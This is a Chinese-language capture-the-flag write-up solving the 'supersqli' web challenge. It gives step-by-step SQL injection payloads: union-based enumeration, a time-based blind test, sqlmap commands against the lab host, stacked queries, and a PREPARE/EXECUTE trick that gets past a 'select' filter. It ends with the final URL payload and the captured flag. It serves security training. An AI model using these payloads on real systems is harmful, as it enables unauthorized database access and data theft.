提示:本文24小时在线,如有问题可联系我!
前言
提示:攻防世界supersqli
一、sql注入?
基础:
简单过一遍流程吧!
1' or 1=1 -- a //判断是否存在注入
1' and 1=2 -- a //无报错,说明执行了语句
1' order by 2 -- a //判断字段数
1' order by 3 -- a //报错,说明两位
' union select 1,database() -- a //数据库名
' union select 1,table_name from information_schema.tables where table_schema=database() -- a //表名,写database()上一步可以省略了
' union select 1,column_name from information_schema.columns where table_schema=database() and table_name ='上面的' -- a //列名
' union select * form 库.表 -- a
还记得不。
爆表就出现问题了
过滤了呗!
报错,盲注呗!浅试一下都不行~。深度盲注:时间盲注呗!
猜数据库长度
1' and if(length(database())=9,sleep(5),1) -- a
???一个一个试?
绝不可能。先试试工具吧!
二、Sqlmap工具
爆库
python sqlmap.py -u http://61.147.171.105:63091/?inject=1 --dbs
报表
python sqlmap.py -u http://61.147.171.105:58878/?inject=1 -D supersqli --tables --time-sec=2 --technique=T --level=3
爆不出来。
。。。
试试堆叠注入
3.堆叠注入
爆库
';show database(); -- a
查表
1';show tables;-- a
查列名
当纯数字字符串是表名的时候需要加反引号`
';show columns from `1919810931114514`;-- a
查字段
过滤了select.没办法只能预编译。
';
sEt @sql = CONCAT('se','lect * from `1919810931114514`;');
#进行预编译
prEpare stmt from @sql;
#设置变量
EXECUTE stmt;#
#执行
执行语句
http://61.147.171.105:58878/?inject=%27;sEt%20@sql%20=%20CONCAT(%27se%27,%27lect%20*%20from%20`1919810931114514`;%27);prEpare%20stmt%20from%20@sql;EXECUTE%20stmt;#
结果
flag{c168d583ed0d4d7196967b28cbd0b5e9}